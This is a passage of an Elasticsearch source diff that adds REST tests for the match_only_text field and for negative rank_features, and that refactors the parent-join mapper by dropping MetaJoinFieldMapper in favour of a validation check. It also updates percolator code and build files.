assertEquals(3, intervals.nextInterval()); + assertEquals(3, intervals.start()); + assertEquals(3, intervals.end()); + assertEquals(IntervalIterator.NO_MORE_INTERVALS, intervals.nextInterval()); + + assertEquals(2, intervals.nextDoc()); + assertEquals(-1, intervals.start()); + assertEquals(-1, intervals.end()); + assertEquals(2, intervals.nextInterval()); + assertEquals(2, intervals.start()); + assertEquals(2, intervals.end()); + assertEquals(IntervalIterator.NO_MORE_INTERVALS, intervals.nextInterval()); + + assertEquals(DocIdSetIterator.NO_MORE_DOCS, intervals.nextDoc()); + + intervals = source.intervals("body", reader.leaves().get(1)); + assertEquals(DocIdSetIterator.NO_MORE_DOCS, intervals.nextDoc()); + } + } + } +} diff --git a/modules/mapper-extras/src/yamlRestTest/resources/rest-api-spec/test/match_only_text/10_basic.yml b/modules/mapper-extras/src/yamlRestTest/resources/rest-api-spec/test/match_only_text/10_basic.yml new file mode 100644 index 0000000000000..d58ef74ea6316 --- /dev/null +++ b/modules/mapper-extras/src/yamlRestTest/resources/rest-api-spec/test/match_only_text/10_basic.yml @@ -0,0 +1,254 @@ +setup: + + - skip: + version: " - 7.13.99" + reason: "match_only_text was added in 7.14" + + - do: + indices.create: + index: test + body: + mappings: + properties: + foo: + type: match_only_text + + - do: + index: + index: test + id: 1 + body: {} + + - do: + index: + index: test + id: 2 + body: { "foo": "Apache Lucene powers Elasticsearch" } + + - do: + index: + index: test + id: 3 + body: { "foo": "Elasticsearch is based on Apache Lucene" } + + - do: + index: + index: test + id: 4 + body: { "foo": "The Apache Software Foundation manages many projects including Lucene" } + + - do: + indices.refresh: {} + +--- +"Field caps": + + - do: + field_caps: + index: test + fields: [ foo ] + + - match: { fields.foo.text.searchable: true } + - match: { fields.foo.text.aggregatable: false } + +--- +"Exist query": + + - do: + search: + index: test + body: + query: + exists: + field: foo + + - match: { "hits.total.value": 3 } + - match: { "hits.hits.0._score": 1.0 } + +--- +"Match query": + + - do: + search: + index: test + body: + query: + match: + foo: powers + + - match: { "hits.total.value": 1 } + - match: { "hits.hits.0._score": 1.0 } + +--- +"Match Phrase query": + + - do: + search: + index: test + body: + query: + match_phrase: + foo: "lucene powers" + + - match: { "hits.total.value": 1 } + - match: { "hits.hits.0._score": 1.0 } + +--- +"Match Phrase Prefix query": + + - do: + search: + index: test + body: + query: + match_phrase_prefix: + foo: "lucene pow" + + - match: { "hits.total.value": 1 } + - match: { "hits.hits.0._score": 1.0 } + +--- +"Query String query with phrase": + + - do: + search: + index: test + body: + query: + query_string: + query: '"lucene powers"' + default_field: "foo" + + - match: { "hits.total.value": 1 } + - match: { "hits.hits.0._score": 1.0 } + + + +--- +"Regexp query": + + - do: + search: + index: test + body: + query: + regexp: + foo: "lu.*ne" + + - match: { "hits.total.value": 3 } + - match: { "hits.hits.0._score": 1.0 } + +--- +"Wildcard query": + + - do: + search: + index: test + body: + query: + wildcard: + foo: "lu*ne" + + - match: { "hits.total.value": 3 } + - match: { "hits.hits.0._score": 1.0 } + +--- +"Prefix query": + + - do: + search: + index: test + body: + query: + prefix: + foo: "luc" + + - match: { "hits.total.value": 3 } + - match: { "hits.hits.0._score": 1.0 } + +--- +"Fuzzy query": + + - do: + search: + index: test + body: + query: + fuzzy: + foo: "lucane" + + - match: { "hits.total.value": 3 } + - match: { "hits.hits.0._score": 1.0 } + +--- +"Span query": + + - do: + catch: bad_request + search: + index: test + body: + query: + span_term: + foo: lucene + +--- +"Term intervals query": + + - do: + search: + index: test + body: + query: + intervals: + foo: + match: + query: "apache lucene" + max_gaps: 1 + + - match: { "hits.total.value": 2 } + +--- +"Prefix intervals query": + + - do: + search: + index: test + body: + query: + intervals: + foo: + prefix: + prefix: "luc" + + - match: { "hits.total.value": 3 } + +--- +"Wildcard intervals query": + + - do: + search: + index: test + body: + query: + intervals: + foo: + wildcard: + pattern: "*ase*" + + - match: { "hits.total.value": 1 } + +--- +"Fuzzy intervals query": + + - do: + search: + index: test + body: + query: + intervals: + foo: + fuzzy: + term: "lucane" + + - match: { "hits.total.value": 3 } diff --git a/modules/mapper-extras/src/yamlRestTest/resources/rest-api-spec/test/rank_features/10_basic.yml b/modules/mapper-extras/src/yamlRestTest/resources/rest-api-spec/test/rank_features/10_basic.yml index b03603d6ab99c..7ba892cc87183 100644 --- a/modules/mapper-extras/src/yamlRestTest/resources/rest-api-spec/test/rank_features/10_basic.yml +++ b/modules/mapper-extras/src/yamlRestTest/resources/rest-api-spec/test/rank_features/10_basic.yml @@ -9,6 +9,10 @@ setup: properties: tags: type: rank_features + negative_reviews: + type: rank_features + positive_score_impact: false + - do: index: @@ -18,6 +22,9 @@ setup: tags: foo: 3 bar: 5 + negative_reviews: + 1star: 10 + 2star: 1 - do: index: @@ -27,6 +34,9 @@ setup: tags: bar: 6 quux: 10 + negative_reviews: + 1star: 1 + 2star: 10 - do: indices.refresh: {} @@ -122,3 +132,35 @@ setup: hits.hits.1._id: "1" - match: hits.hits.1._score: 5.0 + + +--- +"Linear negative impact": + + - do: + search: + index: test + body: + query: + rank_feature: + field: negative_reviews.1star + linear: {} + + - match: + hits.hits.0._id: "2" + - match: + hits.hits.1._id: "1" + + - do: + search: + index: test + body: + query: + rank_feature: + field: negative_reviews.2star + linear: {} + + - match: + hits.hits.0._id: "1" + - match: + hits.hits.1._id: "2" diff --git a/modules/parent-join/build.gradle b/modules/parent-join/build.gradle index 4dbd0decc8078..a892ac569a273 100644 --- a/modules/parent-join/build.gradle +++ b/modules/parent-join/build.gradle @@ -6,6 +6,7 @@ * Side Public License, v 1. */ apply plugin: 'elasticsearch.yaml-rest-test' +apply plugin: 'elasticsearch.yaml-rest-compat-test' apply plugin: 'elasticsearch.internal-cluster-test' esplugin { @@ -15,6 +16,14 @@ esplugin { restResources { restApi { - includeCore '_common', 'bulk', 'cluster', 'nodes', 'indices', 'index', 'search' + include '_common', 'bulk', 'cluster', 'nodes', 'indices', 'index', 'search' } } + +tasks.named("yamlRestCompatTest").configure { + systemProperty 'tests.rest.blacklist', [ + '/20_parent_join/Test parent_id query', + '/20_parent_join/Test basic', + '/30_inner_hits/Test two sub-queries with only one having inner_hits' + ].join(',') +} diff --git a/modules/parent-join/src/main/java/org/elasticsearch/join/mapper/Joiner.java b/modules/parent-join/src/main/java/org/elasticsearch/join/mapper/Joiner.java index b90a7bca9a840..86805cbb6bcb4 100644 --- a/modules/parent-join/src/main/java/org/elasticsearch/join/mapper/Joiner.java +++ b/modules/parent-join/src/main/java/org/elasticsearch/join/mapper/Joiner.java @@ -16,16 +16,16 @@ import org.apache.lucene.search.TermQuery; import org.elasticsearch.index.mapper.MappedFieldType; import org.elasticsearch.index.query.SearchExecutionContext; +import org.elasticsearch.join.mapper.ParentJoinFieldMapper.JoinFieldType; import org.elasticsearch.search.aggregations.support.AggregationContext; +import java.util.Collection; import java.util.HashMap; import java.util.List; import java.util.Map; import java.util.Objects; import java.util.Set; import java.util.function.Consumer; -import java.util.function.Function; -import java.util.function.Predicate; /** * Utility class to help build join queries and aggregations, based on a join_field @@ -36,32 +36,22 @@ public final class Joiner { * Get the Joiner for this context, or {@code null} if none is configured */ public static Joiner getJoiner(SearchExecutionContext context) { - return getJoiner(context::isFieldMapped, context::getFieldType); + return getJoiner(context.getAllFieldTypes()); } /** * Get the Joiner for this context, or {@code null} if none is configured */ public static Joiner getJoiner(AggregationContext context) { - return getJoiner(context::isFieldMapped, context::getFieldType); + return getJoiner(context.getMatchingFieldTypes("*")); } /** * Get the Joiner for this context, or {@code null} if none is configured */ - static Joiner getJoiner(Predicate isMapped, Function getFieldType) { - if (isMapped.test(MetaJoinFieldMapper.NAME) == false) { - return null; - } - MetaJoinFieldMapper.MetaJoinFieldType ft - = (MetaJoinFieldMapper.MetaJoinFieldType) getFieldType.apply(MetaJoinFieldMapper.NAME); - String joinField = ft.getJoinField(); - if (isMapped.test(joinField) == false) { - return null; - } - ParentJoinFieldMapper.JoinFieldType jft = - (ParentJoinFieldMapper.JoinFieldType) getFieldType.apply(joinField); - return jft.getJoiner(); + static Joiner getJoiner(Collection fieldTypes) { + JoinFieldType ft = ParentJoinFieldMapper.getJoinFieldType(fieldTypes); + return ft != null ? ft.getJoiner() : null; } private final Map> parentsToChildren = new HashMap<>(); diff --git a/modules/parent-join/src/main/java/org/elasticsearch/join/mapper/MetaJoinFieldMapper.java b/modules/parent-join/src/main/java/org/elasticsearch/join/mapper/MetaJoinFieldMapper.java deleted file mode 100644 index b4894e21eb72b..0000000000000 --- a/modules/parent-join/src/main/java/org/elasticsearch/join/mapper/MetaJoinFieldMapper.java +++ /dev/null @@ -1,94 +0,0 @@ -/* - * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one - * or more contributor license agreements. Licensed under the Elastic License - * 2.0 and the Server Side Public License, v 1; you may not use this file except - * in compliance with, at your election, the Elastic License 2.0 or the Server - * Side Public License, v 1. - */ - -package org.elasticsearch.join.mapper; - -import org.apache.lucene.search.Query; -import org.elasticsearch.index.fielddata.IndexFieldData; -import org.elasticsearch.index.mapper.MetadataFieldMapper; -import org.elasticsearch.index.mapper.ParseContext; -import org.elasticsearch.index.mapper.StringFieldType; -import org.elasticsearch.index.mapper.TextSearchInfo; -import org.elasticsearch.index.mapper.ValueFetcher; -import org.elasticsearch.index.query.SearchExecutionContext; -import org.elasticsearch.search.lookup.SearchLookup; - -import java.io.IOException; -import java.util.Collections; -import java.util.function.Supplier; - -/** - * Simple field mapper hack to ensure that there is a one and only {@link ParentJoinFieldMapper} per mapping. - * This field mapper is not used to index or query any data, it is used as a marker in the mapping that - * denotes the presence of a parent-join field and forbids the addition of any additional ones. - * This class is also used to quickly retrieve the parent-join field defined in a mapping without - * specifying the name of the field. - */ -public class MetaJoinFieldMapper extends MetadataFieldMapper { - - static final String NAME = "_parent_join"; - static final String CONTENT_TYPE = "parent_join"; - - public static class MetaJoinFieldType extends StringFieldType { - - private final String joinField; - - public MetaJoinFieldType(String joinField) { - super(NAME, false, false, false, TextSearchInfo.SIMPLE_MATCH_ONLY, Collections.emptyMap()); - this.joinField = joinField; - } - - @Override - public String typeName() { - return CONTENT_TYPE; - } - - @Override - public IndexFieldData.Builder fielddataBuilder(String fullyQualifiedIndexName, Supplier searchLookup) { - throw new UnsupportedOperationException("Cannot load field data for metadata field [" + NAME + "]"); - } - - @Override - public ValueFetcher valueFetcher(SearchExecutionContext context, String format) { - throw new UnsupportedOperationException("Cannot fetch values for metadata field [" + NAME + "]."); - } - - @Override - public Object valueForDisplay(Object value) { - throw new UnsupportedOperationException(); - } - - public String getJoinField() { - return joinField; - } - - @Override - public Query existsQuery(SearchExecutionContext context) { - throw new UnsupportedOperationException("Exists query not supported for fields of type" + typeName()); - } - } - - MetaJoinFieldMapper(String joinField) { - super(new MetaJoinFieldType(joinField)); - } - - @Override - public MetaJoinFieldType fieldType() { - return (MetaJoinFieldType) super.fieldType(); - } - - @Override - protected void parseCreateField(ParseContext context) throws IOException { - throw new IllegalStateException("Should never be called"); - } - - @Override - protected String contentType() { - return CONTENT_TYPE; - } -} diff --git a/modules/parent-join/src/main/java/org/elasticsearch/join/mapper/ParentIdFieldMapper.java b/modules/parent-join/src/main/java/org/elasticsearch/join/mapper/ParentIdFieldMapper.java index e975b6a167423..280f473cffff6 100644 --- a/modules/parent-join/src/main/java/org/elasticsearch/join/mapper/ParentIdFieldMapper.java +++ b/modules/parent-join/src/main/java/org/elasticsearch/join/mapper/ParentIdFieldMapper.java @@ -47,9 +47,12 @@ static class Defaults { } public static final class ParentIdFieldType extends StringFieldType { + + private final boolean eagerGlobalOrdinals; + public ParentIdFieldType(String name, boolean eagerGlobalOrdinals) { super(name, true, false, true, TextSearchInfo.SIMPLE_MATCH_ONLY, Collections.emptyMap()); - setEagerGlobalOrdinals(eagerGlobalOrdinals); + this.eagerGlobalOrdinals = eagerGlobalOrdinals; } @Override @@ -57,6 +60,11 @@ public String typeName() { return CONTENT_TYPE; } + @Override + public boolean eagerGlobalOrdinals() { + return eagerGlobalOrdinals; + } + @Override public IndexFieldData.Builder fielddataBuilder(String fullyQualifiedIndexName, Supplier searchLookup) { failIfNoDocValues(); @@ -84,10 +92,10 @@ protected ParentIdFieldMapper(String name, boolean eagerGlobalOrdinals) { @Override protected void parseCreateField(ParseContext context) { - if (context.externalValueSet() == false) { - throw new IllegalStateException("external value not set"); - } - String refId = (String) context.externalValue(); + throw new UnsupportedOperationException("Cannot directly call parse() on a ParentIdFieldMapper"); + } + + public void indexValue(ParseContext context, String refId) { BytesRef binaryValue = new BytesRef(refId); Field field = new Field(fieldType().name(), binaryValue, Defaults.FIELD_TYPE); context.doc().add(field); diff --git a/modules/parent-join/src/main/java/org/elasticsearch/join/mapper/ParentJoinFieldMapper.java b/modules/parent-join/src/main/java/org/elasticsearch/join/mapper/ParentJoinFieldMapper.java index 88523a5fd5467..3ed87549076ba 100644 --- a/modules/parent-join/src/main/java/org/elasticsearch/join/mapper/ParentJoinFieldMapper.java +++ b/modules/parent-join/src/main/java/org/elasticsearch/join/mapper/ParentJoinFieldMapper.java @@ -23,6 +23,7 @@ import org.elasticsearch.index.mapper.FieldMapper; import org.elasticsearch.index.mapper.MappedFieldType; import org.elasticsearch.index.mapper.Mapper; +import org.elasticsearch.index.mapper.MappingLookup; import org.elasticsearch.index.mapper.ParseContext; import org.elasticsearch.index.mapper.SourceValueFetcher; import org.elasticsearch.index.mapper.StringFieldType; @@ -35,6 +36,7 @@ import java.io.IOException; import java.util.ArrayList; import java.util.Arrays; +import java.util.Collection; import java.util.Collections; import java.util.HashMap; import java.util.Iterator; @@ -42,13 +44,11 @@ import java.util.Map; import java.util.Set; import java.util.function.Supplier; +import java.util.stream.Collectors; /** * A {@link FieldMapper} that creates hierarchical joins (parent-join) between documents in the same index. - * Only one parent-join field can be defined per index. The verification of this assumption is done - * through the {@link MetaJoinFieldMapper} which declares a meta field called "_parent_join". - * This field is only used to ensure that there is a single parent-join field defined in the mapping and - * cannot be used to index or query any data. + * Only one parent-join field can be defined per index. */ public final class ParentJoinFieldMapper extends FieldMapper { @@ -115,10 +115,9 @@ public ParentJoinFieldMapper build(ContentPath contentPath) { relations.get().stream() .map(relation -> new ParentIdFieldMapper(name + "#" + relation.parent, eagerGlobalOrdinals.get())) .forEach(mapper -> parentIdFields.put(mapper.name(), mapper)); - MetaJoinFieldMapper unique = new MetaJoinFieldMapper(name); Joiner joiner = new Joiner(name(), relations.get()); return new ParentJoinFieldMapper(name, new JoinFieldType(buildFullName(contentPath), joiner, meta.get()), - unique, Collections.unmodifiableMap(parentIdFields), eagerGlobalOrdinals.get(), relations.get()); + Collections.unmodifiableMap(parentIdFields), eagerGlobalOrdinals.get(), relations.get()); } } @@ -171,20 +170,16 @@ private static boolean checkRelationsConflicts(List previous, List conflicts.addConflict("relations", s)); } - // The meta field that ensures that there is no other parent-join in the mapping - private final MetaJoinFieldMapper uniqueFieldMapper; private final Map parentIdFields; private final boolean eagerGlobalOrdinals; private final List relations; protected ParentJoinFieldMapper(String simpleName, MappedFieldType mappedFieldType, - MetaJoinFieldMapper uniqueFieldMapper, Map parentIdFields, boolean eagerGlobalOrdinals, List relations) { super(simpleName, mappedFieldType, Lucene.KEYWORD_ANALYZER, MultiFields.empty(), CopyTo.empty()); this.parentIdFields = parentIdFields; - this.uniqueFieldMapper = uniqueFieldMapper; this.eagerGlobalOrdinals = eagerGlobalOrdinals; this.relations = relations; } @@ -202,7 +197,6 @@ public JoinFieldType fieldType() { @Override public Iterator iterator() { List mappers = new ArrayList<>(parentIdFields.values()); - mappers.add(uniqueFieldMapper); return mappers.iterator(); } @@ -260,15 +254,13 @@ public void parse(ParseContext context) throws IOException { if (context.sourceToParse().routing() == null) { throw new IllegalArgumentException("[routing] is missing for join field [" + name() + "]"); } - ParseContext externalContext = context.createExternalValueContext(parent); String fieldName = fieldType().joiner.parentJoinField(name); - parentIdFields.get(fieldName).parse(externalContext); + parentIdFields.get(fieldName).indexValue(context, parent); } if (fieldType().joiner.parentTypeExists(name)) { // Index the document as a parent - ParseContext externalContext = context.createExternalValueContext(context.sourceToParse().id()); String fieldName = fieldType().joiner.childJoinField(name); - parentIdFields.get(fieldName).parse(externalContext); + parentIdFields.get(fieldName).indexValue(context, context.sourceToParse().id()); } BytesRef binaryValue = new BytesRef(name); @@ -279,7 +271,7 @@ public void parse(ParseContext context) throws IOException { } @Override - protected void doXContentBody(XContentBuilder builder, boolean includeDefaults, Params params) throws IOException { + protected void doXContentBody(XContentBuilder builder, Params params) throws IOException { builder.field("type", contentType()); builder.field("eager_global_ordinals", eagerGlobalOrdinals); builder.startObject("relations"); @@ -298,4 +290,32 @@ public FieldMapper.Builder getMergeBuilder() { return new Builder(simpleName()).init(this); } + @Override + protected void doValidate(MappingLookup mappers) { + List joinFields = getJoinFieldTypes(mappers.getAllFieldTypes()).stream() + .map(JoinFieldType::name) + .collect(Collectors.toList()); + if (joinFields.size() > 1) { + throw new IllegalArgumentException("Only one [parent-join] field can be defined per index, got " + joinFields); + } + } + + static JoinFieldType getJoinFieldType(Collection fieldTypes) { + for (MappedFieldType ft : fieldTypes) { + if (ft instanceof JoinFieldType) { + return (JoinFieldType) ft; + } + } + return null; + } + + private List getJoinFieldTypes(Collection fieldTypes) { + final List joinFields = new ArrayList<>(); + for (MappedFieldType ft : fieldTypes) { + if (ft instanceof JoinFieldType) { + joinFields.add((JoinFieldType) ft); + } + } + return joinFields; + } } diff --git a/modules/parent-join/src/test/java/org/elasticsearch/join/aggregations/ChildrenToParentAggregatorTests.java b/modules/parent-join/src/test/java/org/elasticsearch/join/aggregations/ChildrenToParentAggregatorTests.java index 3d7fc75feb31b..b3b240363e492 100644 --- a/modules/parent-join/src/test/java/org/elasticsearch/join/aggregations/ChildrenToParentAggregatorTests.java +++ b/modules/parent-join/src/test/java/org/elasticsearch/join/aggregations/ChildrenToParentAggregatorTests.java @@ -31,7 +31,6 @@ import org.elasticsearch.index.mapper.Uid; import org.elasticsearch.index.shard.ShardId; import org.elasticsearch.join.ParentJoinPlugin; -import org.elasticsearch.join.mapper.MetaJoinFieldMapper; import org.elasticsearch.join.mapper.ParentIdFieldMapper; import org.elasticsearch.join.mapper.ParentJoinFieldMapper; import org.elasticsearch.plugins.SearchPlugin; @@ -297,11 +296,10 @@ protected List getSearchPlugins() { static MappedFieldType[] withJoinFields(MappedFieldType... fieldTypes) { - MappedFieldType[] result = new MappedFieldType[fieldTypes.length + 3]; + MappedFieldType[] result = new MappedFieldType[fieldTypes.length + 2]; System.arraycopy(fieldTypes, 0, result, 0, fieldTypes.length); int i = fieldTypes.length; - result[i++] = new MetaJoinFieldMapper.MetaJoinFieldType("join_field"); result[i++] = new ParentJoinFieldMapper.Builder("join_field").addRelation(PARENT_TYPE, Collections.singleton(CHILD_TYPE)) .build(new ContentPath(0)) .fieldType(); diff --git a/modules/parent-join/src/test/java/org/elasticsearch/join/aggregations/ParentToChildrenAggregatorTests.java b/modules/parent-join/src/test/java/org/elasticsearch/join/aggregations/ParentToChildrenAggregatorTests.java index 3ea226d7f80c5..526b5c9a56665 100644 --- a/modules/parent-join/src/test/java/org/elasticsearch/join/aggregations/ParentToChildrenAggregatorTests.java +++ b/modules/parent-join/src/test/java/org/elasticsearch/join/aggregations/ParentToChildrenAggregatorTests.java @@ -26,6 +26,7 @@ import org.elasticsearch.common.lucene.index.ElasticsearchDirectoryReader; import org.elasticsearch.index.Index; import org.elasticsearch.index.mapper.IdFieldMapper; +import org.elasticsearch.index.mapper.KeywordFieldMapper; import org.elasticsearch.index.mapper.MappedFieldType; import org.elasticsearch.index.mapper.NumberFieldMapper; import org.elasticsearch.index.mapper.Uid; @@ -108,6 +109,7 @@ public void testParentChild() throws IOException { } public void testParentChildAsSubAgg() throws IOException { + MappedFieldType kwd = new KeywordFieldMapper.KeywordFieldType("kwd", randomBoolean(), true, Collections.emptyMap()); try (Directory directory = newDirectory()) { RandomIndexWriter indexWriter = new RandomIndexWriter(random(), directory); @@ -146,7 +148,7 @@ public void testParentChildAsSubAgg() throws IOException { indexSearcher, new MatchAllDocsQuery(), request, - withJoinFields(longField("number"), keywordField("kwd")) + withJoinFields(longField("number"), kwd) ); StringTerms.Bucket evenBucket = result.getBucketByKey("even"); @@ -190,6 +192,7 @@ private static List createParentDocument(String id, String kwd) { return Arrays.asList( new StringField(IdFieldMapper.NAME, Uid.encodeId(id), Field.Store.NO), new SortedSetDocValuesField("kwd", new BytesRef(kwd)), + new Field("kwd", new BytesRef(kwd), KeywordFieldMapper.Defaults.FIELD_TYPE), new StringField("join_field", PARENT_TYPE, Field.Store.NO), createJoinField(PARENT_TYPE, id) ); diff --git a/modules/parent-join/src/test/java/org/elasticsearch/join/mapper/ParentJoinFieldMapperTests.java b/modules/parent-join/src/test/java/org/elasticsearch/join/mapper/ParentJoinFieldMapperTests.java index 331d890b94f65..2a22aa0c78f98 100644 --- a/modules/parent-join/src/test/java/org/elasticsearch/join/mapper/ParentJoinFieldMapperTests.java +++ b/modules/parent-join/src/test/java/org/elasticsearch/join/mapper/ParentJoinFieldMapperTests.java @@ -14,6 +14,8 @@ import org.elasticsearch.common.xcontent.XContentFactory; import org.elasticsearch.common.xcontent.XContentType; import org.elasticsearch.index.mapper.DocumentMapper; +import org.elasticsearch.index.mapper.FieldMapper; +import org.elasticsearch.index.mapper.Mapper; import org.elasticsearch.index.mapper.MapperException; import org.elasticsearch.index.mapper.MapperParsingException; import org.elasticsearch.index.mapper.MapperService; @@ -23,10 +25,13 @@ import org.elasticsearch.join.ParentJoinPlugin; import org.elasticsearch.plugins.Plugin; +import java.io.IOException; import java.util.Collection; +import java.util.Iterator; import static java.util.Collections.singleton; import static org.hamcrest.Matchers.containsString; +import static org.hamcrest.Matchers.equalTo; public class ParentJoinFieldMapperTests extends MapperServiceTestCase { @Override @@ -42,7 +47,7 @@ public void testSingleLevel() throws Exception { })); DocumentMapper docMapper = mapperService.documentMapper(); - Joiner joiner = Joiner.getJoiner(f -> mapperService.fieldType(f) != null, mapperService::fieldType); + Joiner joiner = Joiner.getJoiner(mapperService.mappingLookup().getAllFieldTypes()); assertNotNull(joiner); assertEquals("join_field", joiner.getJoinField()); @@ -228,7 +233,7 @@ public void testUpdateRelations() throws Exception { b.endObject(); })); - Joiner joiner = Joiner.getJoiner(f -> mapperService.fieldType(f) != null, mapperService::fieldType); + Joiner joiner = Joiner.getJoiner(mapperService.mappingLookup().getAllFieldTypes()); assertNotNull(joiner); assertEquals("join_field", joiner.getJoinField()); assertTrue(joiner.childTypeExists("child2")); @@ -254,7 +259,7 @@ public void testUpdateRelations() throws Exception { } b.endObject(); })); - joiner = Joiner.getJoiner(f -> mapperService.fieldType(f) != null, mapperService::fieldType); + joiner = Joiner.getJoiner(mapperService.mappingLookup().getAllFieldTypes()); assertNotNull(joiner); assertEquals("join_field", joiner.getJoinField()); assertTrue(joiner.childTypeExists("child2")); @@ -317,7 +322,7 @@ public void testInvalidJoinFieldInsideMultiFields() throws Exception { public void testMultipleJoinFields() throws Exception { { - MapperParsingException exc = expectThrows(MapperParsingException.class, () -> createMapperService(mapping(b -> { + IllegalArgumentException exc = expectThrows(IllegalArgumentException.class, () -> createMapperService(mapping(b -> { b.startObject("join_field"); b.field("type", "join"); b.startObject("relations").field("parent", "child").field("child", "grand_child").endObject(); @@ -326,7 +331,8 @@ public void testMultipleJoinFields() throws Exception { b.field("type", "join"); b.startObject("relations").field("product", "item").endObject().endObject(); }))); - assertThat(exc.getMessage(), containsString("Field [_parent_join] is defined more than once")); + assertThat(exc.getMessage(), + equalTo("Only one [parent-join] field can be defined per index, got [join_field, another_join_field]")); } { @@ -337,11 +343,12 @@ public void testMultipleJoinFields() throws Exception { b.endObject(); })); // Updating the mapping with another join field also fails - MapperParsingException exc = expectThrows( - MapperParsingException.class, + IllegalArgumentException exc = expectThrows( + IllegalArgumentException.class, () -> merge(mapperService, mapping(b -> b.startObject("another_join_field").field("type", "join").endObject())) ); - assertThat(exc.getMessage(), containsString("Field [_parent_join] is defined more than once")); + assertThat(exc.getMessage(), + equalTo("Only one [parent-join] field can be defined per index, got [join_field, another_join_field]")); } } @@ -375,4 +382,32 @@ public void testEagerGlobalOrdinals() throws Exception { assertNotNull(mapperService.fieldType("join_field#child")); assertFalse(mapperService.fieldType("join_field#child").eagerGlobalOrdinals()); } + + public void testSubFields() throws IOException { + MapperService mapperService = createMapperService(mapping(b -> b + .startObject("join_field") + .field("type", "join") + .startObject("relations") + .field("parent", "child") + .field("child", "grand_child") + .endObject() + .endObject())); + ParentJoinFieldMapper mapper = (ParentJoinFieldMapper) mapperService.mappingLookup().getMapper("join_field"); + assertTrue(mapper.fieldType().isSearchable()); + assertTrue(mapper.fieldType().isAggregatable()); + + Iterator it = mapper.iterator(); + FieldMapper next = (FieldMapper) it.next(); + assertThat(next.name(), equalTo("join_field#parent")); + assertTrue(next.fieldType().isSearchable()); + assertTrue(next.fieldType().isAggregatable()); + + assertTrue(it.hasNext()); + next = (FieldMapper) it.next(); + assertThat(next.name(), equalTo("join_field#child")); + assertTrue(next.fieldType().isSearchable()); + assertTrue(next.fieldType().isAggregatable()); + + assertFalse(it.hasNext()); + } } diff --git a/modules/percolator/build.gradle b/modules/percolator/build.gradle index 7e2981e4d7fb8..dfc32d8b195f4 100644 --- a/modules/percolator/build.gradle +++ b/modules/percolator/build.gradle @@ -6,6 +6,7 @@ * Side Public License, v 1. */ apply plugin: 'elasticsearch.yaml-rest-test' +apply plugin: 'elasticsearch.yaml-rest-compat-test' apply plugin: 'elasticsearch.internal-cluster-test' esplugin { @@ -20,6 +21,6 @@ dependencies { restResources { restApi { - includeCore '_common', 'indices', 'index', 'search', 'msearch' + include '_common', 'indices', 'index', 'search', 'msearch' } } diff --git a/modules/percolator/src/main/java/org/elasticsearch/percolator/PercolatorFieldMapper.java b/modules/percolator/src/main/java/org/elasticsearch/percolator/PercolatorFieldMapper.java index bd8084028ef87..a5174998ff345 100644 --- a/modules/percolator/src/main/java/org/elasticsearch/percolator/PercolatorFieldMapper.java +++ b/modules/percolator/src/main/java/org/elasticsearch/percolator/PercolatorFieldMapper.java @@ -366,8 +366,7 @@ static void createQueryBuilderField(Version indexVersion, BinaryFieldMapper qbFi try (OutputStreamStreamOutput out = new OutputStreamStreamOutput(stream)) { out.setVersion(indexVersion); out.writeNamedWriteable(queryBuilder); - byte[] queryBuilderAsBytes = stream.toByteArray(); - qbField.parse(context.createExternalValueContext(queryBuilderAsBytes)); + qbField.indexValue(context, stream.toByteArray()); } } } @@ -414,7 +413,7 @@ void processQuery(Query query, ParseContext context) { doc.add(new Field(extractionResultField.name(), EXTRACTION_PARTIAL, INDEXED_KEYWORD)); } - createFieldNamesField(context); + context.addToFieldNames(fieldType().name()); doc.add(new NumericDocValuesField(minimumShouldMatchFieldMapper.name(), result.minimumShouldMatch)); } diff --git a/modules/percolator/src/test/java/org/elasticsearch/percolator/CandidateQueryTests.java b/modules/percolator/src/test/java/org/elasticsearch/percolator/CandidateQueryTests.java index d3dbed94c8b5b..6de96ac9c5f07 100644 --- a/modules/percolator/src/test/java/org/elasticsearch/percolator/CandidateQueryTests.java +++ b/modules/percolator/src/test/java/org/elasticsearch/percolator/CandidateQueryTests.java @@ -1103,7 +1103,7 @@ private void duelRun(PercolateQuery.QueryStore queryStore, MemoryIndex memoryInd private void addQuery(Query query, List docs) { ParseContext.InternalParseContext parseContext = new ParseContext.InternalParseContext( - documentMapper.mappers(), null, null, null, null); + documentMapper.mappers(), indexService.getIndexSettings(), indexService.getIndexAnalyzers(), null, null, null); fieldMapper.processQuery(query, parseContext); ParseContext.Document queryDocument = parseContext.doc(); // Add to string representation of the query to make debugging easier: diff --git a/modules/percolator/src/test/java/org/elasticsearch/percolator/PercolatorFieldMapperTests.java b/modules/percolator/src/test/java/org/elasticsearch/percolator/PercolatorFieldMapperTests.java index 92bf5afb4f7cd..09c08ba2fda98 100644 --- a/modules/percolator/src/test/java/org/elasticsearch/percolator/PercolatorFieldMapperTests.java +++ b/modules/percolator/src/test/java/org/elasticsearch/percolator/PercolatorFieldMapperTests.java @@ -59,11 +59,11 @@ import org.elasticsearch.index.query.DisMaxQueryBuilder; import org.elasticsearch.index.query.MatchAllQueryBuilder; import org.elasticsearch.index.query.QueryBuilder; -import org.elasticsearch.index.query.SearchExecutionContext; import org.elasticsearch.index.query.QueryShardException; import org.elasticsearch.index.query.RangeQueryBuilder; import org.elasticsearch.index.query.Rewriteable; import org.elasticsearch.index.query.ScriptQueryBuilder; +import org.elasticsearch.index.query.SearchExecutionContext; import org.elasticsearch.index.query.functionscore.FunctionScoreQueryBuilder; import org.elasticsearch.index.query.functionscore.RandomScoreFunctionBuilder; import org.elasticsearch.index.query.functionscore.ScriptScoreFunctionBuilder; @@ -171,7 +171,7 @@ public void testExtractTerms() throws Exception { DocumentMapper documentMapper = mapperService.documentMapper(); PercolatorFieldMapper fieldMapper = (PercolatorFieldMapper) documentMapper.mappers().getMapper(fieldName); ParseContext.InternalParseContext parseContext = new ParseContext.InternalParseContext(documentMapper.mappers(), - null, null, null, null); + mapperService.getIndexSettings(), null, null, null, null); fieldMapper.processQuery(bq.build(), parseContext); ParseContext.Document document = parseContext.doc(); @@ -192,7 +192,8 @@ public void testExtractTerms() throws Exception { bq.add(termQuery1, Occur.MUST); bq.add(termQuery2, Occur.MUST); - parseContext = new ParseContext.InternalParseContext(documentMapper.mappers(), null, null, null, null); + parseContext = new ParseContext.InternalParseContext(documentMapper.mappers(), mapperService.getIndexSettings(), + null, null, null, null); fieldMapper.processQuery(bq.build(), parseContext); document = parseContext.doc(); @@ -221,8 +222,8 @@ public void testExtractRanges() throws Exception { DocumentMapper documentMapper = 